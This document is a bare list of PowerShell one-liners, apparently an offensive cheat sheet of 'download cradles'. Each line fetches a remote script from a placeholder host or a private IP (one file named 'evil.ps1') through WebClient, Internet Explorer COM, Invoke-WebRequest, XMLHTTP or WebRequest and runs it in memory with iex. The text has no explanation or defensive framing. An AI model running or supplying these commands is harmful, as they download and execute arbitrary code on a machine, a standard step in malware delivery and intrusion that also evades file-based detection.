iex (New-Object Net.Webclient).DownloadString('http://address.com/file.ps1')
$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://address.com/file.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
#PSv3 and on
iex (iwr 'http://address.com/file.ps1')
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://192.168.133.136/evil.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://192.168.133.136/test.txt")
$r = $wr.GetResponse()
IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()